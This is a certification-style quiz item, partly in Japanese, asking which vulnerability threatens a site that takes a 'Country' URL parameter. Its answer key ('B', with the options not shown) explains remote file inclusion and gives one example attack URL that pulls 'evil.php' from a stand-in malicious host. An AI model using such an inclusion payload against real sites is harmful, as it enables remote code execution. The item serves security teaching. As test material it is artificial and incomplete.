セキュリティ エンジニアは、会社の Web サイトでユーザーに次の例を許可していることに気付きました。 hitps://mycompany.com/main.php?Country=US 次の脆弱性のうち、このサイトに最も影響を与える可能性のあるものはどれですか?
正解:B
Remote file inclusion (RFI) is a web vulnerability that allows an attacker to include malicious external files that are later run by the website or web application12. This can lead to code execution, data theft, defacement, or other malicious actions. RFI typically occurs when a web application dynamically references external scripts using user-supplied input without proper validation or sanitization23. In this case, the website allows users to specify a country parameter in the URL that is used to include a file from another domain. For example, an attacker could craft a URL like this: https://mycompany.com/main.php?Country=https://malicious.com/evil.php This would cause the website to include and execute the evil.php file from the malicious domain, which could contain any arbitrary code3.